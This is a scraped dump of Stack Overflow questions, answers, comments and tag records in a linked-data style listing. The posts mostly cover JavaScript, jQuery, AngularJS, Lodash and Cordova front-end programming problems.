has body: I am using the Carrierwave gem inside of Magnific Popup (lightbox). What I want to do is that after uploading a image that it will show the newly uploaded image. Currently after a image is uploaded from the lightbox, it will continue displaying the image you were originally viewing with a "success" message that your image was successfully uploaded. The current setup is Users click on a photo that will open a lightbox with their gallery photos. Inside the lightbox you can delete the current photo, upload a new photo, or make it your avatar. photos.js.coffee: jQuery -&gt; $('form#new_photo').fileupload dataType: "script" add: (e, data) -&gt; file = data.files[0] data.context = $(tmpl("template-upload", file)) $('#new_photo').append(data.context) data.submit() progress: (e, data) -&gt; if data.context progress = parseInt(data.loaded / data.total * 100, 10) data.context.find('.bar').css('width', progress + '%') stop: (e, data) -&gt; $('.upload').hide() Photos controller: def create @photo = Photo.create(params[:photo]) @photo.user = current_user if @photo.save flash[:notice] = "Successfully created photos." redirect_to :back else render :action =&gt; 'new' end end show.html.slim: -if @user.photos.present? .slider_container h4 Photos a.left_arrow href="#" img alt="" src="/assets/left_arrow.png" / ul.slider.parent-container = hidden_field_tag 'current_index',0 -@user.photos.each_with_index do |photo, index| li class="#{index &gt; 2 ? 'hide' : ''}" = link_to image_tag(photo.image_url(:thumb)), "#" + dom_id(photo) div id="#{dom_id(photo)}" class="mfp-hide" center = image_tag(photo.image_url(:popup)) - if @user == current_user = button_to('Set as Profile Image', [:avatar, photo], class: 'btn') ' = button_to "remove", photo, :confirm =&gt; 'Are you sure?', :method =&gt; :delete, class: 'btn' = form_for Photo.new do |f| = f.label :image, "Upload photos:" = f.file_field :image, multiple: true, name: "photo[image]" script#template-upload type="text/x-tmpl" .upload | {%=o.name%} …

http://stackoverflow.com/comment/111042523
has text: This one worked for me, remember to const {until} = require('selenium-webdriver'); before
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/29156163
score: 3

lodash
tags question: http://stackoverflow.com/q/25720420
tag name: lodash
tags question: http://stackoverflow.com/q/25851568
tags question: http://stackoverflow.com/q/25830880
type: Tag
tags question: http://stackoverflow.com/q/25855709
tags question: http://stackoverflow.com/q/25791870
tags question: http://stackoverflow.com/q/25769121
tags question: http://stackoverflow.com/q/25764719
tags question: http://stackoverflow.com/q/25853023
tags question: http://stackoverflow.com/q/25788790

http://stackoverflow.com/comment/40376594
comment on: http://stackoverflow.com/a/25807559
score: 0
type: Comment
has text: The documentation very clearly states that it takes a string as an argument that it will treat as a jQuery selector. It says nothing about taking a jQuery selector object as an argument. So it's not that the docs are cryptic, they are very simply wrong. Of course, if it's necessary to construct the selector objects before you create the table, then for rows() to take a string from which it would create a jQuery selector would be too late.
type: AnswerComment

http://stackoverflow.com/comment/40370681
comment on: http://stackoverflow.com/a/25767535
type: AnswerComment
has text: Do you have some code to show how you select the last typed word?
type: Comment
score: 0

http://stackoverflow.com/q/25832146
tagged with: imdb
has answer: http://stackoverflow.com/a/25832311
type: AnsweredQuestion
score: 1
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25832313
answer count: 2
has body: Busy building an video website and i'm currently rewritting the code but i can't get past this issue. So i got a controller.js where i want to do all the request and in my main.js i want to receive the data and parse is. So my controller.js looks like: 'use strict'; angular.module('Movie.services', []).service('Movie', ['$q', '$http', function($q, $http) { var API_URL = 'http://api.themoviedb.org/3/person/'; var API_KEY = '?api_key=xxx'; this.findCast = function( id ) { var cast = []; $http.get(API_URL, { params: { query: id, api_key: API_KEY } }).then(function(result) { angular.forEach(result.data, function(item) { cast.push(item); }); }); } }]); JSON: http://docs.themoviedb.apiary.io/reference/people/personid/get And my main.js looks like: app.controller("Cast", function($scope, $http, $routeParams, Page, Movie) { $scope.getCast = []; var person_id = $routeParams.person_id; Movie.findCast(person_id).then(function(result){ $scope.getCast = result ; }); }); My question is how can i receive the data from my controller.js in main.js so i can parse it. What i now get is an error TypeError: Cannot read property 'then' of undefined I'm not sure if this is the right infrastructure to build my app because in the controller.js i want to make multiple calls for example i want to get the cast, movies, tv series and so on. Controller.js will look like this (don't know if its the right way to do it) this.findCast = function( id ) { } this.getMovies = function( id ) { } this.getSeries = function( id ) { } this.getPopulair = function( id ) { }
has title: Angularjs pass data
tagged with: javascript
downvote count: 0
accepted answer: http://stackoverflow.com/a/25832313
favorite count: 0
tagged with: angularjs
possible better answer: http://stackoverflow.com/a/25832311

http://stackoverflow.com/comment/40472729
type: Comment
has text: The `parseWeirdNumber` function will parse all of your examples correctly.
comment on: http://stackoverflow.com/a/25864341
type: AnswerComment
score: 0

http://stackoverflow.com/q/25828592
has comment: http://stackoverflow.com/comment/40407485
tagged with: javascript
has answer: http://stackoverflow.com/a/27755836
score: 0
possible better answer: http://stackoverflow.com/a/27755836
has comment: http://stackoverflow.com/comment/40407320
accepted answer: http://stackoverflow.com/a/25828606
has body: I'm doing one of CodeSchool's exercises and I wanted to use the "for in" loop but they use a normal for loop and I'm not seeing why it needs to be that way var canyonCows = [ {name: "Bessie", type: "cow", hadCalf: "Burt"}, {name: "Bertha", type: "cow", hadCalf: null}, {name: "Donald", type: "bull", hadCalf: null}, {name: "Esther", type: "calf", hadCalf: null}, {name: "Burt", type: "calf", hadCalf: null}, {name: "Sarah", type: "cow", hadCalf: "Esther"}, {name: "Samson", type: "bull", hadCalf: null}, {name: "Delilah", type: "cow", hadCalf: null}, {name: "Shanaynay", type: "cow", hadCalf: null} ]; Object.prototype.noCalvesYet = function(){ //return true for an object if the object is a cow if(this.hadCalf == null &amp;&amp; this.type =='cow') return true; else return false; }; Array.prototype.countForBreeding = function(){ //this block doesn't work var count = 0; for(c in this) { if(c.noCalvesYet()) ++count; } return count; //this block does work (when i comment out the above block, naturally) // var count = 0; // for(var i = 0; i &lt; this.length;++i) // { // if(this[i].noCalvesYet())count++; // } // return count; }; //find how many cows haven't had a calf yet and use those for breeding alert(canyonCows.countForBreeding());
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25828606
type: Question
has title: Why isn't my for (key in list) not working like I think it would?
answer count: 2

http://stackoverflow.com/comment/40247315
has text: @ValiT, both should work with the version of jQuery you're using (none of us linked the proper one though, didn't notice you were using 1.11. till now) so that's not the problem. Are you loading it properly. Can you open developer tools (in Chrome, or the equivalent in the browser) and tell us what you see?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25733232
type: Comment

http://stackoverflow.com/q/25758422
has answer: http://stackoverflow.com/a/25758561
downvote count: 3
has answer: http://stackoverflow.com/a/25758530
type: Question
has answer: http://stackoverflow.com/a/25758538
has answer: http://stackoverflow.com/a/25759299
has comment: http://stackoverflow.com/comment/40279526
upvote count: 0
has body: I am working with the following code and I want to perform a length check of valueofzip. When I set valueofzip = 08820 I want this to not come under the following condition, mean to say it goes to else block. How can I perform it? var valueofzip = 08820; if (isNaN(valueofzip) || valueofzip.toString().length &lt; 5 || || valueofzip &gt; 99999) { e.preventDefault(); showClientError("Entered Zipcode is invalid, Please input a valid 5 digit number"); $('#zip').addClass("input-validation-error"); isvalid = false; } else { alert("valid"); }
has title: check length of string start with 0?
tagged with: javascript
favorite count: 0
accepted answer: http://stackoverflow.com/a/25758561
score: -3
possible better answer: http://stackoverflow.com/a/25758530
answer count: 4
type: AnsweredQuestion

http://stackoverflow.com/comment/40472697
comment on: http://stackoverflow.com/q/25864155
score: 0
type: Comment
type: QuestionComment
has text: @Teemu It is different problem, because THIS can access object it self, but not newly created object variable name.

http://stackoverflow.com/a/26089962
has comment: http://stackoverflow.com/comment/42655577
type: AcceptedAnswer
downvote count: 0
score: 4
type: Answer
answers question: http://stackoverflow.com/q/25815800
accepted answer of: http://stackoverflow.com/q/25815800
has body: you can use policy setting like below. this will allow find but disable the other method. 'Foo': { '*': false, 'find': 'sessionAuth' }
upvote count: 4

http://stackoverflow.com/comment/40363899
type: AnswerComment
comment on: http://stackoverflow.com/a/25789731
type: Comment
has text: @sjoerdvh yes, there are alternative ways in css, e.g. using absolute positioning, however you will need to pay more attention to other factors (positioned DOM elements overlapping, rendering issues on some mobile browsers)
score: 0

http://stackoverflow.com/comment/40247920
comment on: http://stackoverflow.com/q/25741137
type: Comment
type: QuestionComment
has text: @punithasubramaniv sure. As I said, nothing special: http://pastie.org/private/n4ml8j5cl85wktwujdxiuw
score: 0

http://stackoverflow.com/a/25749313
answers question: http://stackoverflow.com/q/25749010
has comment: http://stackoverflow.com/comment/40262541
has body: The proper way to trigger a change method using jQuery, is using trigger function, this way: $(document).ready(function() { if (something) { if (condition for ddl1) { $("#ddl1").trigger("change"); // TRIGGER change event } else { $("#ddl2").trigger("change"); // TRIGGER change event } } else if (something else) { // This does something else } else { // And this does something else } }); More info here: http://api.jquery.com/trigger/
has comment: http://stackoverflow.com/comment/40263400
upvote count: 0
score: -1
type: Answer
downvote count: 1

http://stackoverflow.com/q/25849047
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has answer: http://stackoverflow.com/a/25849614
has body: code for the directive template //"textBox.html" Text Required Advanced? directive is using like this in main html page //"algorithm.html" controller for the custom directive //"controller.js" var algorithm = angular.module('algorithmController',[]); /***********directive to render text field***********/ algorithm.directive('textField' , function(){ return{ restrict: 'E', templateUrl: '../partials/algorithm/textBox.html', require: 'ngModel', replace: true, link: function(scope, iElement, iAttrs, ngModelCtrl) { // how should i get updated data(i.e. if user change after typing) over here entered by user?? } }; });
has title: How data is passed from custom directive view to controller?
tagged with: angularjs
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40445362
score: 0
type: Question
tagged with: javascript

http://stackoverflow.com/q/25714101
has comment: http://stackoverflow.com/comment/40196956
has title: Is there a concise syntax for declaring locally-scoped variable in JS `if` statement arguments?
answer count: 2
has answer: http://stackoverflow.com/a/25714195
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25714195
has body: The following syntax works perfectly fine in PHP: if($data = check_database($conds)) var_dump($data); else echo "Not found"; However, in Javascript, I can't find an equivalent shorthand: /*THIS CREATES A GLOBAL VARIABLE:*/ if(data = check_database(conds)) console.log(data); else console.log("Not found."); /*THIS RESULTS IN A SYNTAX ERROR (unexpected token var):*/ if(var data = check_database(conds)) console.log(data); else console.log("Not found."); Is there a way for me to declare a locally-scoped var in Javascript within the if (and other) statement(s). NOTE: This is not a problem for the for statement which expects complete statements as arguments. Ultimately, I want to avoid the following verbose syntax: /*THIS HAS THE DESIRED EFFECT, BUT UNDESIRED (VERBOSE) SYNTAX*/ var data; if(data = check_database(conds)) console.log(data); else console.log("Not found.");
favorite count: 0
has answer: http://stackoverflow.com/a/25714166
downvote count: 0
linked to: http://stackoverflow.com/q/762011
score: 2
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25714166
type: Question
upvote count: 2

http://stackoverflow.com/a/25723916
type: Answer
has comment: http://stackoverflow.com/comment/40216604
has comment: http://stackoverflow.com/comment/40215603
has comment: http://stackoverflow.com/comment/40215951
has body: Following will help you HTML Add Video Script: var $table = $('.myTable'); $($table).find('td').append($('.testDiv').show()); Demo: Running Demo
score: 0
answers question: http://stackoverflow.com/q/25721936
has comment: http://stackoverflow.com/comment/40239349

http://stackoverflow.com/q/25795067
accepted answer: http://stackoverflow.com/a/25795115
has title: JS - Array, only push certain values
type: Question
has comment: http://stackoverflow.com/comment/40346117
has comment: http://stackoverflow.com/comment/40346068
has body: There is an array A of numbers. Certain values that are stored in array B have to be filtered out. The result shall be stored in array C. JS var a = [ 1,2,3,4,5,6]; var b = [ 2,4,6]; var c = []; // shall contain all values of a except the ones from b Here's my approach: for (var i = 0; i &lt; a.length; i++){ if(b.indexOf(a[i]) === -1){ c.push(a[i]); } }
upvote count: 2
score: 0
downvote count: 2
answer count: 1
has answer: http://stackoverflow.com/a/25795115
tagged with: javascript
has comment: http://stackoverflow.com/comment/40346103
linked to: http://stackoverflow.com/q/25787010
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40346558
has comment: http://stackoverflow.com/comment/40347798
favorite count: 0

http://stackoverflow.com/comment/40481173
comment on: http://stackoverflow.com/a/25866058
score: 0
type: Comment
has text: Edit: i still don't ALWAYS see the blue hovering triangle? It fails most of the time, i'm running at 60fps so i don't know what is going on :(
type: AnswerComment

http://stackoverflow.com/a/25770503
has comment: http://stackoverflow.com/comment/40322690
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25770218
upvote count: 3
answers question: http://stackoverflow.com/q/25770218
has comment: http://stackoverflow.com/comment/40340164
has comment: http://stackoverflow.com/comment/40306697
type: Answer
downvote count: 0
has body: You could use the $routeChangeStart event. It's fired when the url is changed and takes current and next as arguments something like: $rootScope.$on('$routeChangeStart', function(event, next, current) { if (next === 'abc') // do something; });
score: 3

http://stackoverflow.com/comment/40347915
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25796037
has text: Do you mean you want to open the links within the iframe in a new tab?

http://stackoverflow.com/comment/40330291
type: QuestionComment
comment on: http://stackoverflow.com/q/25786671
score: 0
type: Comment
has text: It is a zip file a single file i have with me.Can be included in the source code

http://stackoverflow.com/comment/40351040
has text: @slicedtoad Have a look at the XML I had in my fist post... I do an each loop for the values in 'datainfo' (based on the number returned from 'nrs')... I then have (4) arrays containing 'tid' 'dat' 'sig' and 'rac' values... then within that same 'datainfo' loop I do another each loop for 'moreinfo' and retrieve 'pst' 'stl' 'nam' values and create (3) more arrays... how do I take these values, and the follow the same structure so that I can refer to the object in a loop in this manner... for(i=0;i<=nrs;i++) { for(j=0;j<=2;j++) { alert(myObj.datainfo[i].moreinfo[j].nam);} ?
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25794931
type: Comment

http://stackoverflow.com/comment/40245460
has text: Given `f = function () { /* .. */ }`, it's the same difference as `f` vs `f()`; only the latter actually executes the function.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25739870
score: 3

http://stackoverflow.com/comment/40467419
has text: @Mathletics I updated my question. I meant to ask if there is a way to trigger the function regardless of whether or not you pick a currently selected value.
comment on: http://stackoverflow.com/q/25861249
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25769121
score: 3
possible better answer: http://stackoverflow.com/a/25769186
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/25769186
downvote count: 0
tagged with: javascript
has body: This works: MyCollection.prototype.select = function (properties) { var self = this; return { where: function (conditions) { return _.chain(self.arrayOfObjects) .where(conditions) .map(function (result) { return _.pick(result, properties); }) .value(); } }; }; It allows me to query my collection like so: var people = collection .select(['id', 'firstName']) .where({lastName: 'Mars', city: 'Chicago'}); I expected to be able to write the code like this, though: MyCollection.prototype.select = function (properties) { var self = this; return { where: function (conditions) { return _.chain(self.arrayOfObjects) .where(conditions) .pick(properties); .value(); } }; }; Lo-Dash documentation specifies the _.pick callback as "[callback] (Function|…string|string[]): The function called per iteration or property names to pick, specified as individual property names or arrays of property names." That led me to believe I could just supply the properties array, which would be applied to each item in arrayOfObjects that meets the conditions. What am I missing?
has answer: http://stackoverflow.com/a/25769371
tagged with: lodash
favorite count: 0
has title: Lo-Dash - help me understand why _.pick doesn't work the way I expect
upvote count: 3
accepted answer: http://stackoverflow.com/a/25769371
type: AnsweredQuestion

http://stackoverflow.com/q/25736097
type: Question
answer count: 1
downvote count: 0
tagged with: jquery-mobile
favorite count: 0
has body: I'm working on a jquery mobile script to get json from my wordpress site but its not displaying anything and returns with a: 'Uncaught TypeError: Cannot read property 'length' of undefined' error. I know i'm messing up somewhere with parsing the json, but i happen to be a javascript noob. To the guy that both fixes and explains it to me, i thank you. HTML: ListView PageView JavaScript: $(document).on('pageinit', '#home', function () { $.ajax({ url: 'http://chris.floppytron.com/api/get_recent_posts/', dataType: "jsonp", success: function (result) { ajax.parseJSONP(result); }, error: function (request, error) { alert('Network error has occurred please try again!'); } }); }); $(document).on('pagebeforeshow', '#headline', function () { $('#post-data').empty(); $.each(postInfo.result, function (i, row) { if (row.id == postInfo.id) { $('#post-data').append(' ' + row.title + ' '); $('#post-data').append(' ' + row.date + ' '); $('#post-data').append(' ' + row.categories + ' '); $('#post-data').append(' ' + row.content + ' '); $('#post-data').listview('refresh'); } }); }); $(document).on('vclick', '#post-list li a', function () { postInfo.id = $(this).attr('data-id'); $.mobile.changePage("#headline", { transition: "slide", changeHash: false }); }); var postInfo = { id: null, result: null } var ajax = { parseJSONP: function (result) { postInfo.result = result.results; $.each(result.results, function (i, row) { console.log(JSON.stringify(row)); $('#post-list').append(' ' + row.title + ' ' + row.categories + ' ' + row.date + ' '); }); $('#post-list').listview('refresh'); } }
tagged with: cordova
type: UnansweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/40238813
tagged with: wordpress
upvote count: 1
has comment: http://stackoverflow.com/comment/40238942
has title: Uncaught TypeError: Cannot read property 'length' of undefined
has answer: http://stackoverflow.com/a/25739779
tagged with: http://stackoverflow.com/tag/json
tagged with: javascript

http://stackoverflow.com/q/25757248
tagged with: javascript
linked to: http://stackoverflow.com/q/3303420
answer count: 3
has body: I have a string which is exactly like this... R%26B,Alternative,Rock,Classic Rock,Heavy Metal,Classical,Reggae%2fSka, I have tried enough to remove the special characters before they reach the browser...but not going anywhere..so planing to rely on my old and trusted friend "javascript" I want it to read R&amp;B,Alternative,Rock,Classic Rock,Heavy Metal,Classical,Reggae&amp;Ska, I know this can be done through regular expression which I am just not able to figure it out. How would I write the expression? Any help would be highly appreciated
has answer: http://stackoverflow.com/a/25757267
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25757277
score: 0
has answer: http://stackoverflow.com/a/25757277
has comment: http://stackoverflow.com/comment/40277404
type: Question
has answer: http://stackoverflow.com/a/25757279
has title: replacing special characters with a specific special character
accepted answer: http://stackoverflow.com/a/25757267

http://stackoverflow.com/q/25788668
has comment: http://stackoverflow.com/comment/40333849
score: -4
type: Question
tagged with: javascript
tagged with: jquery
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/25788960
has comment: http://stackoverflow.com/comment/40333793
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40333673
tagged with: http://stackoverflow.com/tag/html
has body: When page loads I am doing some changes to the html of a element, I have a toggle button for this element but I have problems to make it work correctly. What I am trying to do is followin: When page is loaded the modified html will be displayed. When user click on the toggle button I want the original html to be displayed with full text with slide effect. When user click on the toggle button again I want it to display the modified html with slide effect. I have almost made it to work, it looks like this JSFiddle Here is the code: $(window).ready(function() { var string = $('#object-full-description').html(); var place = string.indexOf('.', 800); if (place &gt;= 0) { $('#object-full-description').html(string.substring(0, place + 1)); } $('#full-description-toggle').click(function() { if ($('.toggled').length &gt; 0) { $('#object-full-description').slideToggle('slow', function() { $('#full-description-toggle').removeClass('toggled'); place = string.indexOf('.', 800); if (place &gt;= 0) { $('#object-full-description').html(string.substring(0, place + 1)); } }); } else { $('#object-full-description').slideToggle('slow', function() { $('#full-description-toggle').addClass('toggled'); $('#object-full-description').html(string); }); } }); }); I would appreciate any kind of help!
has title: Toggle between displaying different html
downvote count: 4
upvote count: 0

http://stackoverflow.com/q/25863192
accepted answer: http://stackoverflow.com/a/25863705
has title: onmousedown event stopping input focus
type: Question
tagged with: onmousedown
downvote count: 0
has body: I am handling mousedown & oncontextmenu events to prevent text & image selection, right click and drag. The code is as follows - I guess the problem is it is also preventing the focus on input elements, as I am preventing default & returning false for onmousedown event, so it is not letting control switch to input focus, so I cant type any thing inside it. I tried to debug it by following code. When I removed the onmousedown attribute from body, it is giving me the desired message on cosole. any help... Thanks in advance.
tagged with: javascript
tagged with: focus
answer count: 1
favorite count: 0
upvote count: 2
has answer: http://stackoverflow.com/a/25863705
tagged with: input
type: AnsweredQuestion
score: 2

http://stackoverflow.com/q/25783730
tagged with: javascript
answer count: 1
downvote count: 0
linked to: http://stackoverflow.com/q/19837916
tagged with: meteor
has title: Alternative to variable keys in Meteor
favorite count: 0
has body: How can I use a variable value as an object key? For example, when adding an object dynamically to a Collection. When I to do it like this: addToDB(type, account) { Accounts.insert({type: account}); }; it doesn't work as the key can't be a variable here.
upvote count: 1
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/25783821
has comment: http://stackoverflow.com/comment/40325336
type: Question
accepted answer: http://stackoverflow.com/a/25783821

http://stackoverflow.com/q/25869367
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40481885
has comment: http://stackoverflow.com/comment/40481767
has answer: http://stackoverflow.com/a/25869636
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40481670
has body: I'm trying to write a functionality for disabling a button based on the number of lists. The front-end code is written in Jade. Here's the flow. From the items list, there is an option for deleting individual item. Whenever i click on delete anchor, a script should check, the number of items. If it is zero, then disable the button. Here's the code sample : button#savethemebtn.n-e-w-more-button.publish-button.margin-top-none.hint--top(onclick='updateShareModal();', href='#shareModal', role='button btn', data-toggle='modal', data-id='magId', data-hint='Share this Theme.', style="background-color:#cc1235") a#delItem(style='cursor:pointer;') // Delete button img(src='/assets/img/library/close.png') In the same file i have written a script script. $('#delItem').on('click',function(){ var items = $('#current-KO-lists').children().length; alert(items); if(items == 0){ $('#savethemebtn').prop('disabled',true); } }); When clicking on the delete button, its not firing the ".on" handler. Tried enclosing the handler inside an anonymous function, but it didn't work. Thanks Major edit : Its not button, its an anchor tag(delItem)
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40481523
has comment: http://stackoverflow.com/comment/40481722
has comment: http://stackoverflow.com/comment/40481487
tagged with: javascript
has title: Jade : Click event handler not working
score: -1
has comment: http://stackoverflow.com/comment/40481501
has comment: http://stackoverflow.com/comment/40481584
has answer: http://stackoverflow.com/a/25869473
has comment: http://stackoverflow.com/comment/40481437
answer count: 2
tagged with: pug
upvote count: 0

http://stackoverflow.com/a/25832412
score: 1
has comment: http://stackoverflow.com/comment/40414314
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25832287
upvote count: 1
has body: $(main-content) will take the main variable (undefined) and subtract from it the content variable (also undefined) giving you NaN, which will then be used to try to instantiate a jQuery object. It won't find any matching elements in the DOM. You want $("#main-content")

http://stackoverflow.com/comment/40305374
comment on: http://stackoverflow.com/q/25772666
has text: `.replace('http://www.example.com/Music/Update/update22.php?FixedIDvalue=', '')` and `http://www.example.com/file.php?FixedIDvalue` do not match so vote will not be an integer. Or you didn't copy and paste the script into the question, which would be the most helpful thing to do... In any case it would be more sensible to get the variable by parsing the URL not by replacing what may or may not be the correct string with empty.
score: 0
type: Comment
type: QuestionComment

drop-down-menu
tags question: http://stackoverflow.com/q/25757457
tags question: http://stackoverflow.com/q/25784803
tags question: http://stackoverflow.com/q/25816434
tags question: http://stackoverflow.com/q/25722660
tags question: http://stackoverflow.com/q/25844307
type: Tag
tags question: http://stackoverflow.com/q/25764384
tags question: http://stackoverflow.com/q/25823965
tags question: http://stackoverflow.com/q/25854461
tags question: http://stackoverflow.com/q/25873484
tag name: drop-down-menu
tags question: http://stackoverflow.com/q/25842917
tags question: http://stackoverflow.com/q/25844500
tags question: http://stackoverflow.com/q/25717629

http://stackoverflow.com/comment/40296521
comment on: http://stackoverflow.com/a/25759042
score: 0
type: AnswerComment
type: Comment
has text: The main hit is to make Jboss set Access-Control-Allow-Origin', "*" in the HTTP response's headers...

http://stackoverflow.com/q/25779744
has title: How to correctly load Cordova and Angularjs hybrid app with remote scripts
has answer: http://stackoverflow.com/a/25794484
type: Question
type: AnsweredQuestion
downvote count: 0
answer count: 1
tagged with: javascript
favorite count: 0
tagged with: visual-studio-cordova
has body: We have a single page hybrid app developed with cordova 3.4.0 and angularJS via Hybrid app plugin(CPT2.0) in visual studio 2013. This app has some embedded resources (jquery, angularjs, bootstrap and few propietary code), and needs to get some other remote resources (angularjs modules, css and more). Remote resources are stored in a CDN and bundled via asp.net bundling. This choice was made because the prerequisite is making fast update of the app without delay of store validation and publishing, and because we have a responsive website that shares angular templates and resources with this app. The app html mainpage has a section that references embedded script and for the remote script we write in dom some script tags (using .append) , because the base url of remote resources is a parameter stored in a config file. After remote script loading, app has to wait cordova event deviceready event and when this event is fired, app should finally bootstrap the main angular app. This is a basic sample of what we are doing: <angular-directive /> My question is: what is the correct way to synchronize remote resources loading, cordova deviceready and angular bootstrapping? The design above works great, but sometimes remote scripts are not loaded or deviceready starts early and bootstraps angular app before all its modules are properly loaded. I have also tried to better synchronize script loading and cordova but without success because some designs are not compatible with all the tree target platforms (ios, wp8 and android).
accepted answer: http://stackoverflow.com/a/25794484
score: 2
tagged with: cordova
tagged with: angularjs
upvote count: 2

http://stackoverflow.com/a/25735016
has body: there's a iframe onload event which can you override the existing height of you're iframe. Let say: ... then on your javascript: //apply css on iframe when ready iFrameLoaded() { $('#stipsImage').contents().find("body") .append($(" ")); }
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25734830

http://stackoverflow.com/q/25784185
tagged with: http://stackoverflow.com/tag/html
possible better answer: http://stackoverflow.com/a/25784702
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25784420
accepted answer: http://stackoverflow.com/a/25784420
tagged with: internet-explorer
has answer: http://stackoverflow.com/a/25784702
has title: Cannot append in IE, works in Firefox and Chrome
has answer: http://stackoverflow.com/a/25784394
type: Question
has comment: http://stackoverflow.com/comment/40326321
tagged with: javascript
tagged with: jquery
has body: I think IE hates me. Everything I do in other browsers works, but IE 11, no! It is failing. I'm guessing it's me and not the browser. I have a &lt;select&gt; list on my web page, and I'm trying to bind the &lt;option&gt; dynamically. So far, it works great in Firefox and Chrome, but not in IE. There is no error in the IE Development tools (F12) so I'm lost as to why it refuses to work. JSFIDDLE HTML &lt;select id="MyList"&gt; &lt;/select&gt; Javascript $(function() { var myItems=[]; myItems.push({"All":"Hello"}); myItems.push({"One":"And More"}); myItems.push({"Two":"Lots More"}); for (i = 0; i&lt; myItems.length;i++) { for (item in myItems[i]) { var x = myItems[i][item]; //for my testing var y = myItems[item]; //for my testing $("#MyList").append("&lt;option&gt;" + item + "&lt;/option&gt;"); } } }); If you try the fiddle in FF or Chrome, all good. The select list populates with All, One and Two. Short of a gift or even some form of sacrifice to the IE elves, what do I need to do to make IE happy with me?
score: 0
answer count: 3

http://stackoverflow.com/q/25775572
tagged with: html5-canvas
tagged with: arrays
answer count: 1
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40322955
favorite count: 0
accepted answer: http://stackoverflow.com/a/25775842
linked to: http://stackoverflow.com/q/20954400
has comment: http://stackoverflow.com/comment/40311562
has comment: http://stackoverflow.com/comment/40311463
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/15205874
has body: My Question The goal is to make sure all images are fully loaded before a new game can begin. My second solution (Fiddle B) achieves this goal more consistently and accurately than my first solution (Fiddle A). Why? JSFIDDLE A JSFIDDLE B Methods Here is what both of my fiddle solutions do to preload images: There is an array of absolute image URLS for all of the assets required by the game The init() function has a for loop which generates a new canvas Image() per URL in the array Each newly created image is pushed into another array So, we now have the first array containing URL strings, and a second array containing 'HTMLImageElement' objects Fiddle B differs from Fiddle A, in that it utilises the '.onload' event, plus a counter. The two fiddles use different ways of checking to see if all the image assets have loaded: Fiddle A: compares the length of the two arrays. If they match, start the game for (var i = 0; i &lt; allGameImageUrls.length; i++) { var img = new Image(); img.src = allGameImageUrls[i]; allGameImages.push(img); console.log(allGameImages.length); if (allGameImages.length &gt;= allGameImageUrls.length) { setUpGame(); } else { // images haven't loaded yet console.log('STILL LOADING'); STAGE.fillText("Loading ...", 20, 400); } } Fiddle B: compares the second array length with the counter variable. This counter goes up by 1 every time an image's '.onload' event completes. for (var i = 0; i &lt; allGameImageUrls.length; i++) { var img = new Image(); img.onload = function () { assetCount++; console.log('assetCount = ' + assetCount); setUpGame(); }; img.src = allGameImageUrls[i]; allGameImages.push(img); } My Question Expanded Fiddle A frequently (but not always) triggers the start of a new game before the full list of image assets has been properly loaded, causing game errors. Fiddle B consistently loads all of the image assets before allowing a new game to start. This can be seen in both fiddles from the 'Fully loaded' messages written to the canvas. Al…
upvote count: 3
type: Question
score: 3
has comment: http://stackoverflow.com/comment/40312109
has answer: http://stackoverflow.com/a/25775842
has comment: http://stackoverflow.com/comment/40311210
tagged with: theory
has title: Why does my image preloading method work?

http://stackoverflow.com/a/25784138
upvote count: 0
has body: The easiest way is to work with different css files. &lt;link rel="stylesheet" type="text/css" href="style.css" media="screen and (max-width: 300px)" /&gt; Then you can easy set the width of your screen: enter link description here Here is a good link for Screen Resolution.
type: Answer
answers question: http://stackoverflow.com/q/25783870
downvote count: 1
score: -1

http://stackoverflow.com/a/25795478
answers question: http://stackoverflow.com/q/25794829
accepted answer of: http://stackoverflow.com/q/25794829
type: AcceptedAnswer
downvote count: 0
has body: This code will not be enough? If you have video, which you don't want changing: $time = 39; // number of seconds of your video setInterval(function(){ $('#backVideo').load(); },$time*1000); or try load() instead play() on your code. I don't have this version of Firefox, so I can't try it: $("#backVideo").bind('ended', function(){ this.load(); });
has comment: http://stackoverflow.com/comment/40348382
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/comment/40477100
score: 0
has text: @Quince - You got correct result because you encoded this string inside js script. In my case, base64 string is hardcoded into html page. I think there is something wrong with encodings, but can't figure what. For example, there is hardcoded "0J3QvtCy0YvQuSDRjtC90LjRgg==" which is "Новый юнит" but it decodes into something weird. Regarding other things. All my files is saved using UTF-8 encoding.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25865661

http://stackoverflow.com/comment/40274732
comment on: http://stackoverflow.com/a/25716576
type: AnswerComment
score: 0
type: Comment
has text: Could I take a look at your code, please paste the code in the original post.

http://stackoverflow.com/q/25838940
tagged with: leaflet
has answer: http://stackoverflow.com/a/25843903
has comment: http://stackoverflow.com/comment/40426544
possible better answer: http://stackoverflow.com/a/25839099
has comment: http://stackoverflow.com/comment/40426541
has answer: http://stackoverflow.com/a/25839099
type: Question
answer count: 2
downvote count: 0
tagged with: javascript
favorite count: 0
accepted answer: http://stackoverflow.com/a/25843903
upvote count: 8
score: 8
